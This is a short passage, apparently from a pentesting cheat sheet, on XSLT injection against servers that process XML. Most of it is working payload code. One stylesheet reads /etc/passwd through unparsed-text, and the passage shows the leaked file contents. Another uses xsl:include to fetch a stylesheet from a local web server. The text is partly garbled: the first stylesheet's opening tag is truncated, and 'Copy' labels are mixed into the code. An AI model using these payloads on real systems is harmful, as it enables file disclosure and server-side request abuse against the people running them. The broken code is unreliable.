In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. Obviously good against targets parsing XML-files.
Copy <xsl:styl <xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
Copy $ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<? xml version = "1.0" encoding = "UTF-8" ? > root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
Copy
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet> 